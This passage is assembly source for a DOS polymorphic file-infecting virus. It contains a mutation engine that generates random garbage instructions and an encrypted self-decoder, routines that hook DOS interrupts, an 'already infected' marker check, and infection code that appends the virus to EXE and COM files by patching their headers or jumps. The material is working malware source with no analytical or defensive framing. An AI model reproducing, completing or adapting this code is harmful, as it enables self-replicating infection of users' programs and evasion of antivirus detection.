cmp di,ax ;if no operation performed then no flags set
|
|||
|
jna inegbv
|
|||
|
or rflag,1
|
|||
|
inegbv: retn
|
|||
|
;*********************** generating of NOT ***************************
|
|||
|
notrdat dw 0d0f6h ;operation
|
|||
|
dw 1101000011110110b ;2 bytes
|
|||
|
gnotr:
|
|||
|
mov si,offset notrdat
|
|||
|
ggen12: mov word ptr ds:(offset gl203+1),offset chtab04
|
|||
|
call ggen11
|
|||
|
mov word ptr ds:(offset gl203+1),offset chtab03
|
|||
|
xt1err: retn
|
|||
|
|
|||
|
;*********************** generating of XCHG **************************
|
|||
|
|
|||
|
chtab05 db 1
|
|||
|
dw offset xchgt1
|
|||
|
db 1
|
|||
|
dw offset xchgt2
|
|||
|
db 0ffh
|
|||
|
gxchgr:
|
|||
|
mov si,offset chtab05
|
|||
|
jmp choose
|
|||
|
|
|||
|
;generating of xchg reg,reg (2 bytes)
|
|||
|
xchgt1:
|
|||
|
call gregls ;source operand
|
|||
|
jc xt1err
|
|||
|
call rfreg
|
|||
|
xchg bx,ax
|
|||
|
mov ax,1100000010000110b
|
|||
|
or ah,dl
|
|||
|
mov bp,dx
|
|||
|
call gregls ;target operand
|
|||
|
cmp bp,dx
|
|||
|
je xt1err
|
|||
|
push bp
|
|||
|
call shl3fw
|
|||
|
stosw
|
|||
|
gl301: call rfreg
|
|||
|
xchg ax,bx
|
|||
|
call wtreg
|
|||
|
pop dx
|
|||
|
xchg ax,bx
|
|||
|
jmp wtreg
|
|||
|
|
|||
|
;generating of xchg ax,reg (1 byte)
|
|||
|
xchgt2:
|
|||
|
mov fw,1
|
|||
|
call gregls
|
|||
|
jc xt1err
|
|||
|
cmp rax,03h
|
|||
|
jne xt1err
|
|||
|
call rfreg
|
|||
|
xchg bx,ax
|
|||
|
mov al,10010000b
|
|||
|
or al,dl
|
|||
|
push dx
|
|||
|
xor dx,dx ;target operand
|
|||
|
stosb
|
|||
|
jmp gl301
|
|||
|
|
|||
|
;***************** general part for SHL,SHR,... ******************
|
|||
|
|
|||
|
ggen20:
|
|||
|
mov al,11010000b
|
|||
|
test rcx,1 ;valid value in cl ?
|
|||
|
jz rbsh1
|
|||
|
mov dx,2
|
|||
|
call rnd_get ;shl ,cl or shl ,1 ?
|
|||
|
shl dl,1
|
|||
|
or al,dl
|
|||
|
mov cl,rcx+1
|
|||
|
rbsh1: mov word ptr ds:(offset gl102),ax
|
|||
|
call gregls
|
|||
|
jc gg20err
|
|||
|
and rflag,0feh ;flags not defined
|
|||
|
jmp ggen21
|
|||
|
|
|||
|
;********************* generating of SHL,SAL *************************
|
|||
|
gshlr:
|
|||
|
mov ah,11100000b
|
|||
|
jmp ggen20
|
|||
|
;*********************** generating of SHR ***************************
|
|||
|
gshrr:
|
|||
|
mov ah,11101000b
|
|||
|
jmp ggen20
|
|||
|
;*********************** generating of SAR ***************************
|
|||
|
gsarr:
|
|||
|
mov ah,11111000b
|
|||
|
jmp ggen20
|
|||
|
;*********************** generating of ROL ***************************
|
|||
|
grolr:
|
|||
|
mov ah,11000000b
|
|||
|
jmp ggen20
|
|||
|
;*********************** generating of ROR ***************************
|
|||
|
grorr:
|
|||
|
mov ah,11001000b
|
|||
|
jmp ggen20
|
|||
|
;*********************** generating of RCL ***************************
|
|||
|
grclr:
|
|||
|
mov ah,11010000b
|
|||
|
ggen22: test rflag,1
|
|||
|
jz gg20err
|
|||
|
jmp ggen20
|
|||
|
gg20err: retn
|
|||
|
;*********************** generating of RCR ***************************
|
|||
|
grcrr:
|
|||
|
mov ah,11011000b
|
|||
|
jmp ggen22
|
|||
|
|
|||
|
;*********************** generating of PUSH **************************
|
|||
|
|
|||
|
chtab06 db 15
|
|||
|
dw offset gpt1
|
|||
|
db 3
|
|||
|
dw offset gpt2
|
|||
|
db 1
|
|||
|
dw offset gpt3
|
|||
|
db 0ffh
|
|||
|
gpushr:
|
|||
|
cmp ssp,0
|
|||
|
je gg20err ;emulated stack full
|
|||
|
mov si,offset chtab06
|
|||
|
gl410: mov fw,1
|
|||
|
jmp choose
|
|||
|
|
|||
|
;type: push reg
|
|||
|
gpt1:
|
|||
|
call gregl ;can push any reg (except sp)
|
|||
|
mov al,01010000b
|
|||
|
or al,dl
|
|||
|
stosb
|
|||
|
call getaddr
|
|||
|
lodsb
|
|||
|
xchg cx,ax
|
|||
|
call rfreg
|
|||
|
|
|||
|
;-------- simulation of PUSH --------
|
|||
|
spush:
|
|||
|
sub ssp,3
|
|||
|
sub word ptr rsp+1,2
|
|||
|
mov si,ssp
|
|||
|
mov byte ptr [si+offset sstack],cl
|
|||
|
mov word ptr [si+offset sstack+1],ax
|
|||
|
retn
|
|||
|
|
|||
|
;type: push sreg
|
|||
|
gpt2:
|
|||
|
mov dx,00100000b
|
|||
|
call rnd_get
|
|||
|
xchg ax,dx
|
|||
|
or al,00000110b
|
|||
|
and al,11111110b
|
|||
|
gl409: stosb
|
|||
|
xor cl,cl
|
|||
|
cmp al,00000110b
|
|||
|
jne spush
|
|||
|
mov ax,word ptr res+1
|
|||
|
mov cl,res ;if it is es
|
|||
|
jmp spush
|
|||
|
|
|||
|
;type: pushf
|
|||
|
gpt3:
|
|||
|
mov al,10011100b
|
|||
|
jmp gl409
|
|||
|
|
|||
|
;*********************** generating of POP ***************************
|
|||
|
|
|||
|
chtab07 db 15
|
|||
|
dw offset gpot1
|
|||
|
db 2
|
|||
|
dw offset gpot2
|
|||
|
db 1
|
|||
|
dw offset gpot3
|
|||
|
db 3
|
|||
|
dw offset gpot4
|
|||
|
db 0ffh
|
|||
|
gpopr:
|
|||
|
cmp ssp,DEPTH
|
|||
|
je gg20err ;emulated stack is empty
|
|||
|
mov si,offset chtab07
|
|||
|
jmp gl410
|
|||
|
|
|||
|
;type: pop reg
|
|||
|
gpot1:
|
|||
|
call gregl ;can pop any reg (except sp)
|
|||
|
mov al,01011000b
|
|||
|
or al,dl
|
|||
|
stosb
|
|||
|
call spop
|
|||
|
call getaddr
|
|||
|
mov byte ptr [si],cl
|
|||
|
call wtreg
|
|||
|
retn
|
|||
|
|
|||
|
;-------- simulation of POP --------
|
|||
|
spop:
|
|||
|
mov si,ssp
|
|||
|
mov cl,byte ptr [si+offset sstack]
|
|||
|
mov ax,word ptr [si+offset sstack+1]
|
|||
|
add ssp,3
|
|||
|
add word ptr rsp+1,2
|
|||
|
retn
|
|||
|
|
|||
|
;type: pop es
|
|||
|
gpot2:
|
|||
|
mov al,00000111b
|
|||
|
stosb
|
|||
|
call spop
|
|||
|
mov res,cl
|
|||
|
mov word ptr res+1,ax
|
|||
|
chpote: retn
|
|||
|
|
|||
|
;type: pop ds
|
|||
|
gpot3:
|
|||
|
test res+3,1
|
|||
|
jnz chpote ;if ds set to cs do nothing
|
|||
|
mov al,00011111b
|
|||
|
stosb
|
|||
|
jmp spop
|
|||
|
|
|||
|
;type: push cs,pop ds
|
|||
|
gpot4:
|
|||
|
test res+3,1
|
|||
|
jnz chpote
|
|||
|
mov ax,0001111100001110b
|
|||
|
stosw
|
|||
|
or res+3,1 ;note that ds is set
|
|||
|
retn
|
|||
|
|
|||
|
;********************* generating of jumps **************************
|
|||
|
|
|||
|
MAXJMP=20
|
|||
|
gbytes:
|
|||
|
push ax
|
|||
|
push cx
|
|||
|
push dx
|
|||
|
mov cx,dx
|
|||
|
jcxz gbsdda
|
|||
|
gbdb: xor dx,dx
|
|||
|
call rnd_get
|
|||
|
xchg ax,dx
|
|||
|
stosb
|
|||
|
loop gbdb
|
|||
|
gbsdda: pop dx
|
|||
|
pop cx
|
|||
|
pop ax
|
|||
|
retn
|
|||
|
takeb:
|
|||
|
call rnd_get
|
|||
|
add si,dx
|
|||
|
lodsb
|
|||
|
retn
|
|||
|
|
|||
|
NOJCON=17
|
|||
|
jcontab db 01110111b ;ja/jnbe
|
|||
|
db 01110011b ;jae/jnb/jnc
|
|||
|
db 01110010b ;jb/jnae/jc
|
|||
|
db 01110110b ;jbe/jna
|
|||
|
db 01110100b ;je/jz
|
|||
|
db 01111111b ;jg/jnle
|
|||
|
db 01111101b ;jge/jnl
|
|||
|
db 01111100b ;jl/jnge
|
|||
|
db 01111110b ;jle/jng
|
|||
|
db 11101011b ;jmp
|
|||
|
db 01110101b ;jne/jnz
|
|||
|
db 01110001b ;jno
|
|||
|
db 01111011b ;jnp/jpo
|
|||
|
db 01111001b ;jns
|
|||
|
db 01110000b ;jo
|
|||
|
db 01111010b ;jp/jpe
|
|||
|
db 01111000b ;js
|
|||
|
jcxdtab db 11100011b ;jcxz
|
|||
|
db 11100010b ;loop
|
|||
|
db 11100001b ;loope/loopz
|
|||
|
db 11100000b ;loopne/loopnz
|
|||
|
|
|||
|
chtab09 db 24
|
|||
|
dw offset gjcon
|
|||
|
db 5
|
|||
|
dw offset gjcxd
|
|||
|
db 1
|
|||
|
dw offset gjmpn
|
|||
|
db 3
|
|||
|
dw offset gcall
|
|||
|
db 0ffh
|
|||
|
gjmp:
|
|||
|
mov si,offset chtab09
|
|||
|
jmp choose
|
|||
|
|
|||
|
;generating of jx
|
|||
|
gjcon:
|
|||
|
test rflag,1
|
|||
|
jz g40err
|
|||
|
mov si,offset jcontab
|
|||
|
mov dx,NOJCON
|
|||
|
ggen41: call takeb
|
|||
|
stosb
|
|||
|
mov byte ptr ds:(offset gl501),al
|
|||
|
mov cx,word ptr rcx+1
|
|||
|
mov bp,word ptr rflag+1
|
|||
|
push bp
|
|||
|
popf
|
|||
|
|
|||
|
;#####
|
|||
|
;to run on 486 supply this:
|
|||
|
; jmp $+2
|
|||
|
;#####
|
|||
|
|
|||
|
gl501: jmp short gl502
|
|||
|
xor dx,dx
|
|||
|
call rnd_get
|
|||
|
xchg ax,dx
|
|||
|
stosb
|
|||
|
jmp short g40mcx
|
|||
|
gl502: mov dx,MAXJMP ;max no of bytes to jump over
|
|||
|
call rnd_get
|
|||
|
mov al,dl
|
|||
|
stosb
|
|||
|
call gbytes
|
|||
|
g40mcx: mov word ptr rcx+1,cx
|
|||
|
g40err: retn
|
|||
|
|
|||
|
;generating of jcxz,loopx
|
|||
|
gjcxd:
|
|||
|
cmp rcx,3
|
|||
|
jne g40err
|
|||
|
mov si,offset jcxdtab
|
|||
|
mov dx,2
|
|||
|
test rflag,1
|
|||
|
jz ggen41
|
|||
|
mov dx,4
|
|||
|
jmp ggen41
|
|||
|
|
|||
|
;generating of jmp near
|
|||
|
gjmpn:
|
|||
|
mov al,11101001b
|
|||
|
stosb
|
|||
|
mov dx,MAXJMP
|
|||
|
call rnd_get
|
|||
|
mov ax,dx
|
|||
|
stosw
|
|||
|
jmp gbytes
|
|||
|
|
|||
|
;generating of call X
|
|||
|
gcall:
|
|||
|
test byte ptr eflag,4
|
|||
|
jz g40err ;can't generate call if no retn before
|
|||
|
mov al,11101000b
|
|||
|
stosb
|
|||
|
mov ax,retnaddr
|
|||
|
dec ax
|
|||
|
dec ax
|
|||
|
sub ax,di
|
|||
|
stosw
|
|||
|
retn
|
|||
|
|
|||
|
;****************** generating of sti,cli,std,cld **********************
|
|||
|
|
|||
|
sacftb label byte
|
|||
|
sti
|
|||
|
cli
|
|||
|
std
|
|||
|
cld
|
|||
|
gsacf:
|
|||
|
mov si,offset sacftb
|
|||
|
mov dx,4
|
|||
|
call takeb
|
|||
|
stosb
|
|||
|
retn
|
|||
|
|
|||
|
;********************* generating of mem. ins. *************************
|
|||
|
|
|||
|
chtab10 db 4
|
|||
|
dw offset pissi
|
|||
|
db 4
|
|||
|
dw offset pisdi
|
|||
|
db 4
|
|||
|
dw offset pisbx
|
|||
|
db 1
|
|||
|
dw offset pisbr
|
|||
|
db 0ffh
|
|||
|
g2ndb:
|
|||
|
mov si,offset chtab10
|
|||
|
jmp choose
|
|||
|
pissi: mov bp,word ptr rsi+1
|
|||
|
mov ah,10000100b
|
|||
|
cmp rsi,3
|
|||
|
je chenbr
|
|||
|
pisdi: mov bp,word ptr rdi+1
|
|||
|
mov ah,10000101b
|
|||
|
cmp rdi,3
|
|||
|
je chenbr
|
|||
|
pisbx: mov bp,word ptr rbx+1
|
|||
|
mov ah,10000111b
|
|||
|
cmp rbx,3
|
|||
|
je chenbr
|
|||
|
pisbr: xor bp,bp
|
|||
|
mov ah,00000110b
|
|||
|
chenbr: retn
|
|||
|
|
|||
|
insertcs:
|
|||
|
test res+3,1 ;ds set to cs ?
|
|||
|
jnz jtdss
|
|||
|
mov byte ptr [di],2eh ;insert cs: prefix
|
|||
|
inc di
|
|||
|
jtdss: retn
|
|||
|
|
|||
|
ggen60: call gregp
|
|||
|
jc gmerr
|
|||
|
push ax
|
|||
|
call rfreg
|
|||
|
or al,al
|
|||
|
pop ax
|
|||
|
jz gmerr ;to avoid operation with 0
|
|||
|
call shl3dl
|
|||
|
ggen61: or al,fw
|
|||
|
call insertcs
|
|||
|
stosw
|
|||
|
mov si,ptei
|
|||
|
mov word ptr [si],ax
|
|||
|
call rfreg
|
|||
|
mov word ptr [si+4],ax
|
|||
|
mov dx,LENDEC
|
|||
|
sub dl,fw ;to enable proper rotation
|
|||
|
call rnd_get
|
|||
|
mov word ptr [si+2],dx
|
|||
|
add ptei,6
|
|||
|
mov ax,sodec
|
|||
|
add ax,dx
|
|||
|
sub ax,bp
|
|||
|
stosw
|
|||
|
and rflag,0feh ;flags modified
|
|||
|
gmerr: retn
|
|||
|
|
|||
|
chtb20o db 6,8,8,2,2 ;starting probabilities for memory-modifying instructions
|
|||
|
chtab20 db ?
|
|||
|
dw offset gxorp
|
|||
|
db ?
|
|||
|
dw offset gaddp
|
|||
|
db ?
|
|||
|
dw offset gsubp
|
|||
|
db ?
|
|||
|
dw offset grolp
|
|||
|
db ?
|
|||
|
dw offset grorp
|
|||
|
db 0ffh
|
|||
|
gmutp:
|
|||
|
cmp ptei,offset eei
|
|||
|
jnb gmerr
|
|||
|
call g2ndb
|
|||
|
mov si,offset chtab20
|
|||
|
jmp choose
|
|||
|
gxorp:
|
|||
|
mov al,00110000b
|
|||
|
jmp ggen60
|
|||
|
gaddp:
|
|||
|
mov al,00000000b
|
|||
|
jmp ggen60
|
|||
|
gsubp:
|
|||
|
mov al,00101000b
|
|||
|
jmp ggen60
|
|||
|
grolp:
|
|||
|
mov al,11010000b
|
|||
|
mov dx,4
|
|||
|
call rnd_get
|
|||
|
or dx,dx
|
|||
|
jz zbclns
|
|||
|
test rcx,1 ;cl set ?
|
|||
|
jz zbclns
|
|||
|
cmp rcx+1,0
|
|||
|
je zbclns ;does not generate rotation ,cl if cl=0
|
|||
|
or al,00000010b
|
|||
|
zbclns: mov dx,1 ;address for emulated cx
|
|||
|
jmp ggen61
|
|||
|
grorp:
|
|||
|
or ah,00001000b
|
|||
|
jmp grolp
|
|||
|
|
|||
|
;********************* generating of mem. mov **************************
|
|||
|
|
|||
|
chtab30 db 5
|
|||
|
dw offset pmvt1
|
|||
|
db 1
|
|||
|
dw offset pmvt2
|
|||
|
db 0ffh
|
|||
|
gmovp:
|
|||
|
call g2ndb
|
|||
|
mov si,offset chtab30
|
|||
|
jmp choose
|
|||
|
|
|||
|
;type: mov reg,mem
|
|||
|
pmvt1:
|
|||
|
call gregl
|
|||
|
mov al,10001010b
|
|||
|
call shl3fw
|
|||
|
push dx
|
|||
|
call insertcs
|
|||
|
stosw
|
|||
|
mov dx,di
|
|||
|
sub dx,offset hbuf+1
|
|||
|
call rnd_get ;in dx offset within header buffer
|
|||
|
mov ax,rel
|
|||
|
add ax,dx
|
|||
|
sub ax,bp
|
|||
|
stosw
|
|||
|
xchg ax,dx
|
|||
|
pop dx
|
|||
|
call getaddr
|
|||
|
or [si],ch ;reg value is valid
|
|||
|
mov si,offset hbuf
|
|||
|
add si,ax
|
|||
|
lodsw
|
|||
|
jmp wtreg ;read byte and write to reg
|
|||
|
|
|||
|
;type: mov mem,reg
|
|||
|
pmvt2:
|
|||
|
call gregp
|
|||
|
jc pmverr
|
|||
|
mov al,10001000b
|
|||
|
call shl3fw
|
|||
|
call insertcs
|
|||
|
stosw
|
|||
|
mov dx,LENOVER-1
|
|||
|
call rnd_get ;in dx offset within overwritable bytes
|
|||
|
mov ax,gba
|
|||
|
add ax,dx
|
|||
|
sub ax,bp
|
|||
|
stosw
|
|||
|
pmverr: retn
|
|||
|
|
|||
|
chtabgl db 13
|
|||
|
dw offset gjmp
|
|||
|
db 32
|
|||
|
dw offset gmutp
|
|||
|
db 17
|
|||
|
dw offset gmovp
|
|||
|
chtabg1 db 70
|
|||
|
dw offset gmovr
|
|||
|
db 1
|
|||
|
dw offset gsacf
|
|||
|
db 16
|
|||
|
dw offset gpushr
|
|||
|
db 16
|
|||
|
dw offset gpopr
|
|||
|
db 4
|
|||
|
dw offset gshlr
|
|||
|
db 4
|
|||
|
dw offset gshrr
|
|||
|
db 2
|
|||
|
dw offset gsarr
|
|||
|
db 2
|
|||
|
dw offset grolr
|
|||
|
db 2
|
|||
|
dw offset grorr
|
|||
|
db 2
|
|||
|
dw offset grclr
|
|||
|
db 2
|
|||
|
dw offset grcrr
|
|||
|
db 7
|
|||
|
dw offset gorr
|
|||
|
db 7
|
|||
|
dw offset gandr
|
|||
|
db 4
|
|||
|
dw offset gxorr
|
|||
|
db 4
|
|||
|
dw offset gtestr
|
|||
|
db 9
|
|||
|
dw offset gaddr
|
|||
|
db 9
|
|||
|
dw offset gsubr
|
|||
|
db 2
|
|||
|
dw offset gadcr
|
|||
|
db 2
|
|||
|
dw offset gsbbr
|
|||
|
db 4
|
|||
|
dw offset gcmpr
|
|||
|
db 4
|
|||
|
dw offset gincr
|
|||
|
db 4
|
|||
|
dw offset gdecr
|
|||
|
db 4
|
|||
|
dw offset gxchgr
|
|||
|
db 2
|
|||
|
dw offset gnegr
|
|||
|
db 2
|
|||
|
dw offset gnotr
|
|||
|
db 0ffh
|
|||
|
|
|||
|
EMM:
|
|||
|
cld
|
|||
|
mov cx,10
|
|||
|
mov di,offset registers
|
|||
|
xor ax,ax
|
|||
|
li1: stosb ;initialize variables
|
|||
|
add di,3
|
|||
|
loop li1
|
|||
|
xchg bx,ax ;bx=0
|
|||
|
mov al,eflag
|
|||
|
and al,01h
|
|||
|
mov res+3,al ;if al=1 ds is set, if al=0 ds is not set
|
|||
|
mov al,04h
|
|||
|
test byte ptr eflag,2
|
|||
|
jz nsspj
|
|||
|
or al,03h
|
|||
|
nsspj: or rsp,al ;don't change sp , known value of sp on input
|
|||
|
mov ssp,DEPTH ;initialize ssp
|
|||
|
mov ptei,offset ei ;initialize ptei
|
|||
|
neprkm: mov cx,5
|
|||
|
mov si,offset chtb20o
|
|||
|
mov di,offset chtab20
|
|||
|
sprpm: lodsb
|
|||
|
cbw
|
|||
|
xchg dx,ax
|
|||
|
call rnd_get
|
|||
|
xchg ax,dx
|
|||
|
add bx,ax
|
|||
|
stosb
|
|||
|
inc di
|
|||
|
inc di
|
|||
|
loop sprpm ;setting of probabilities for memory-modifying instructions
|
|||
|
or bx,bx
|
|||
|
jz neprkm ;not accepted setting of the probabilities
|
|||
|
mov di,offset hbuf
|
|||
|
mov ax,-1
|
|||
|
push ax
|
|||
|
test byte ptr eflag,4 ;generate intro garbage bytes ?
|
|||
|
jz ngenuv
|
|||
|
pop ax
|
|||
|
MAXINTRO=100
|
|||
|
mov dx,MAXINTRO-1
|
|||
|
call rnd_get
|
|||
|
inc dx ;in dx length of intro in bytes
|
|||
|
push dx
|
|||
|
push dx
|
|||
|
call rnd_get
|
|||
|
call gbytes ;write down random bytes
|
|||
|
mov retnaddr,di ;address of retn instruction
|
|||
|
mov al,11000011b
|
|||
|
stosb ;write retn
|
|||
|
pop ax
|
|||
|
sub ax,dx
|
|||
|
xchg dx,ax
|
|||
|
call gbytes ;random bytes
|
|||
|
ngenuv: mov ax,di
|
|||
|
sub ax,offset hbuf
|
|||
|
add ax,rel
|
|||
|
mov hip,ax ;ip value for the file
|
|||
|
MINHDR=400 ;minimal header length
|
|||
|
mov dx,LENHBUF-LENDEC-MINHDR+1
|
|||
|
pop ax ;in ax length of intro-1
|
|||
|
sub dx,ax
|
|||
|
call rnd_get
|
|||
|
add dx,ax
|
|||
|
add dx,MINHDR ;in dx start of decoder
|
|||
|
;relatively to start of hbuf, i.e. header length
|
|||
|
mov hend,dx
|
|||
|
add hend,offset hbuf ;relocation relat. to start of buffer
|
|||
|
add dx,rel
|
|||
|
mov sodec,dx ;start of decoder within the file
|
|||
|
mov word ptr ds:(offset chchtb+1),offset chtabgl ;use all instructions
|
|||
|
mov byte ptr ds:(offset sj1+1),0 ;setting of the switched jump
|
|||
|
next_inst:
|
|||
|
push di
|
|||
|
mov dx,3
|
|||
|
call rnd_get
|
|||
|
or dl,dl
|
|||
|
jz ginsh
|
|||
|
mov dl,1
|
|||
|
ginsh: mov fw,dl ;byte or word inst.
|
|||
|
chchtb: mov si,offset chtabgl
|
|||
|
call choose ;generating of inst.
|
|||
|
pop ax
|
|||
|
sj1: jmp short gc1
|
|||
|
gc1: push di
|
|||
|
|
|||
|
;#####
|
|||
|
;to run on 486 change the following instruction
|
|||
|
;which goes: add di,MAXJMP+3-1
|
|||
|
;into: add di,40 ;prefetch queue is 32B for 486
|
|||
|
;#####
|
|||
|
|
|||
|
add di,MAXJMP+3-1
|
|||
|
cmp di,hend
|
|||
|
pop di
|
|||
|
jb next_inst
|
|||
|
mov word ptr ds:(offset chchtb+1),offset chtabg1 ;do not generate mem-modifying ins.
|
|||
|
mov byte ptr ds:(offset sj1+1),offset gc2-offset gc1 ;switch of jump
|
|||
|
jmp next_inst
|
|||
|
gc2: cmp di,hend
|
|||
|
jb next_inst
|
|||
|
xchg di,ax
|
|||
|
jne next_inst ;if not end of header then repeat
|
|||
|
xchg di,ax
|
|||
|
mov bx,di
|
|||
|
mov ax,offset stsub+(hbuf-start_virus)-LENVIR-(dcjmp-sdec)-2
|
|||
|
sub ax,di
|
|||
|
mov dcjmp,ax ;setting the jump in decoder
|
|||
|
mov si,offset sdec
|
|||
|
mov cx,LENDEC
|
|||
|
rep movsb ;copy decoder behind header
|
|||
|
mov si,ptei
|
|||
|
udzd: cmp si,offset ei
|
|||
|
jna vsmu
|
|||
|
sub si,6 ;reading of mem-modif. inst. in reverse order
|
|||
|
mov al,byte ptr [si]
|
|||
|
mov dl,al
|
|||
|
and dl,11111100b
|
|||
|
cmp dl,00000000b
|
|||
|
jne zop1
|
|||
|
or al,00101000b
|
|||
|
zop1: cmp dl,00101000b
|
|||
|
jne zop2
|
|||
|
and al,00000011b
|
|||
|
zop2: mov ah,10001111b
|
|||
|
and word ptr [si],0011100011111100b
|
|||
|
cmp word ptr [si],0000100011010000b
|
|||
|
jne njtsp
|
|||
|
and ah,11000111b ;xchange ADD for SUB, ROL for ROR and vice versa
|
|||
|
njtsp: mov word ptr ds:(offset vari),ax
|
|||
|
mov dx,word ptr [si+2]
|
|||
|
mov word ptr ds:(offset vari+2),dx
|
|||
|
mov cx,word ptr [si+4]
|
|||
|
jmp $+2
|
|||
|
vari: xor [bx+1234h],cx ;perform reverse operation on decoder
|
|||
|
jmp udzd
|
|||
|
vsmu: retn
|
|||
|
|
|||
|
;******************* decoder ****************
|
|||
|
|
|||
|
sdec:
|
|||
|
sti
|
|||
|
push cs
|
|||
|
pop ds
|
|||
|
dcmsi: mov si,1234h
|
|||
|
dcmax: mov ax,1234h
|
|||
|
mov cx,(LENVIR-1)/2+1
|
|||
|
dp2: xor [si],ax
|
|||
|
jmp short dcaax1
|
|||
|
dcaax2: add ax,1234h
|
|||
|
inc si
|
|||
|
loop dp2
|
|||
|
db 0e9h
|
|||
|
dcjmp dw ?
|
|||
|
dcaax1: add ax,1234h
|
|||
|
inc si
|
|||
|
xor [si],ax
|
|||
|
jmp dcaax2
|
|||
|
|
|||
|
edec label near
|
|||
|
|
|||
|
;******************** Explosion's Mutation Machine ********************
|
|||
|
|
|||
|
;*************** copied routines **************
|
|||
|
|
|||
|
zencode:
|
|||
|
mov cx,LENVIR
|
|||
|
xor dx,dx ;offset start_virus
|
|||
|
call zzp1
|
|||
|
mov ah,40h
|
|||
|
mov bx,handle
|
|||
|
pushf
|
|||
|
db 9ah
|
|||
|
dd ? ;call ds:oriv21
|
|||
|
jc zec1
|
|||
|
cmp ax,cx
|
|||
|
zec1: pushf
|
|||
|
call zzp1
|
|||
|
popf
|
|||
|
retn
|
|||
|
zzp1: push cx
|
|||
|
mov si,dx
|
|||
|
zecmax: mov ax,1234h
|
|||
|
mov cx,(LENVIR-1)/2+1
|
|||
|
zzp2: xor [si],ax
|
|||
|
zecaax1: add ax,1234h
|
|||
|
inc si
|
|||
|
xor [si],ax
|
|||
|
zecaax2: add ax,1234h
|
|||
|
inc si
|
|||
|
loop zzp2
|
|||
|
pop cx
|
|||
|
retn
|
|||
|
|
|||
|
zres24:
|
|||
|
mov al,03h
|
|||
|
iret
|
|||
|
|
|||
|
zenden label near
|
|||
|
|
|||
|
;************** routines for res. part *************
|
|||
|
|
|||
|
set_on_24:
|
|||
|
push dx
|
|||
|
push ds
|
|||
|
push cs
|
|||
|
pop ds
|
|||
|
mov ax,3524h
|
|||
|
call int21
|
|||
|
mov seg24,es
|
|||
|
mov off24,bx
|
|||
|
mov ax,2524h
|
|||
|
mov dx,offset res24
|
|||
|
call int21
|
|||
|
pop ds
|
|||
|
pop dx
|
|||
|
retn
|
|||
|
|
|||
|
set_off_24:
|
|||
|
mov ax,2524h
|
|||
|
lds dx,dword ptr cs:off24
|
|||
|
call int21
|
|||
|
retn
|
|||
|
|
|||
|
identify: ;is file infected ?
|
|||
|
push dx
|
|||
|
mov ax,es:[bx+2]
|
|||
|
inc ax
|
|||
|
xor dx,dx
|
|||
|
div cs:v30
|
|||
|
mov ax,es:[bx]
|
|||
|
and al,11111b
|
|||
|
cmp al,dl
|
|||
|
stc
|
|||
|
je iekon ;already infected
|
|||
|
mov ax,es:[bx]
|
|||
|
and ax,0ffe0h
|
|||
|
or al,dl
|
|||
|
clc
|
|||
|
iekon: pop dx
|
|||
|
retn
|
|||
|
|
|||
|
;*********** infect EXE,COM ***********
|
|||
|
|
|||
|
write_file:
|
|||
|
mov ah,40h
|
|||
|
jmp short s1
|
|||
|
read_file:
|
|||
|
mov ah,3fh
|
|||
|
s1: call s2
|
|||
|
jc s3
|
|||
|
cmp ax,cx
|
|||
|
s3: retn
|
|||
|
start_file:
|
|||
|
xor cx,cx
|
|||
|
mov dx,cx
|
|||
|
pos_start:
|
|||
|
mov ax,4200h
|
|||
|
jmp short s2
|
|||
|
end_file:
|
|||
|
xor cx,cx
|
|||
|
mov dx,cx
|
|||
|
pos_end:
|
|||
|
mov ax,4202h
|
|||
|
mhandle:
|
|||
|
s2: mov bx,cs:handle
|
|||
|
int21:
|
|||
|
pushf
|
|||
|
cli
|
|||
|
call cs:oriv21
|
|||
|
retn
|
|||
|
|
|||
|
infect:
|
|||
|
mov ax,5700h
|
|||
|
call mhandle
|
|||
|
mov bx,offset ftime
|
|||
|
mov [bx],cx
|
|||
|
mov [bx+2],dx ;read in time and date of last write
|
|||
|
call identify
|
|||
|
jnc ienjnp
|
|||
|
igbck: retn
|
|||
|
|
|||
|
ienjnp: xor dx,dx
|
|||
|
call rnd_get
|
|||
|
mov word ptr ds:(offset dcmax+1),dx
|
|||
|
mov word ptr ds:(offset ecmax+1),dx
|
|||
|
xor dx,dx
|
|||
|
call rnd_get
|
|||
|
mov word ptr ds:(offset dcaax1+1),dx
|
|||
|
mov word ptr ds:(offset ecaax1+1),dx
|
|||
|
xor dx,dx
|
|||
|
call rnd_get
|
|||
|
mov word ptr ds:(offset dcaax2+1),dx
|
|||
|
mov word ptr ds:(offset ecaax2+1),dx ;values for encoding
|
|||
|
|
|||
|
call start_file
|
|||
|
mov cx,18h
|
|||
|
mov dx,offset header
|
|||
|
call read_file
|
|||
|
pigbck: jc igbck
|
|||
|
mov si,dx
|
|||
|
mov di,offset bheader
|
|||
|
rep movsb
|
|||
|
push dx
|
|||
|
call end_file
|
|||
|
mov lenlo,ax
|
|||
|
mov lenhi,dx
|
|||
|
mov si,ax
|
|||
|
mov di,dx
|
|||
|
pop bx
|
|||
|
cmp [bx].id,'MZ'
|
|||
|
je iEXE1
|
|||
|
cmp [bx].id,'ZM'
|
|||
|
je iEXE1
|
|||
|
mov bheader.flag,0 ;0 means COM
|
|||
|
cmp ax,65535-(EXTENTION+DEPSTACK) ;much too long ?
|
|||
|
ja igbck
|
|||
|
mov bheader.min,0000h ;min. memory is 0
|
|||
|
jmp short iCOM1
|
|||
|
iEXE1: mov bheader.flag,1
|
|||
|
mov ax,[bx].pages
|
|||
|
mul v512
|
|||
|
sub ax,si
|
|||
|
sbb dx,di
|
|||
|
jc pigbck ;overlay detected
|
|||
|
mov ax,si
|
|||
|
mov dx,di
|
|||
|
add ax,EXTENTION
|
|||
|
adc dx,0
|
|||
|
div v512
|
|||
|
or dx,dx
|
|||
|
jz spcp1 ;special case is that dx=0
|
|||
|
inc ax
|
|||
|
spcp1: mov [bx].pages,ax
|
|||
|
mov [bx].lpage,dx ;setting pages and bytes in last page
|
|||
|
iCOM1: and si,0fff0h
|
|||
|
add si,16
|
|||
|
adc di,0
|
|||
|
mov dx,si
|
|||
|
mov cx,di
|
|||
|
push bx
|
|||
|
call pos_start ;allignment to the multiply of 16
|
|||
|
pop bx
|
|||
|
cmp bheader.flag,0
|
|||
|
jne iEXE2
|
|||
|
mov byte ptr [bx],0e9h ;getting ready for jump
|
|||
|
add ax,100h
|
|||
|
mov gba,ax
|
|||
|
add ax,LENVIR
|
|||
|
mov rel,ax
|
|||
|
mov eflag,001b ;setting parameters for EMM
|
|||
|
jmp short iCOM2
|
|||
|
iEXE2: mov ax,[bx].parps
|
|||
|
mul v16
|
|||
|
sub si,ax
|
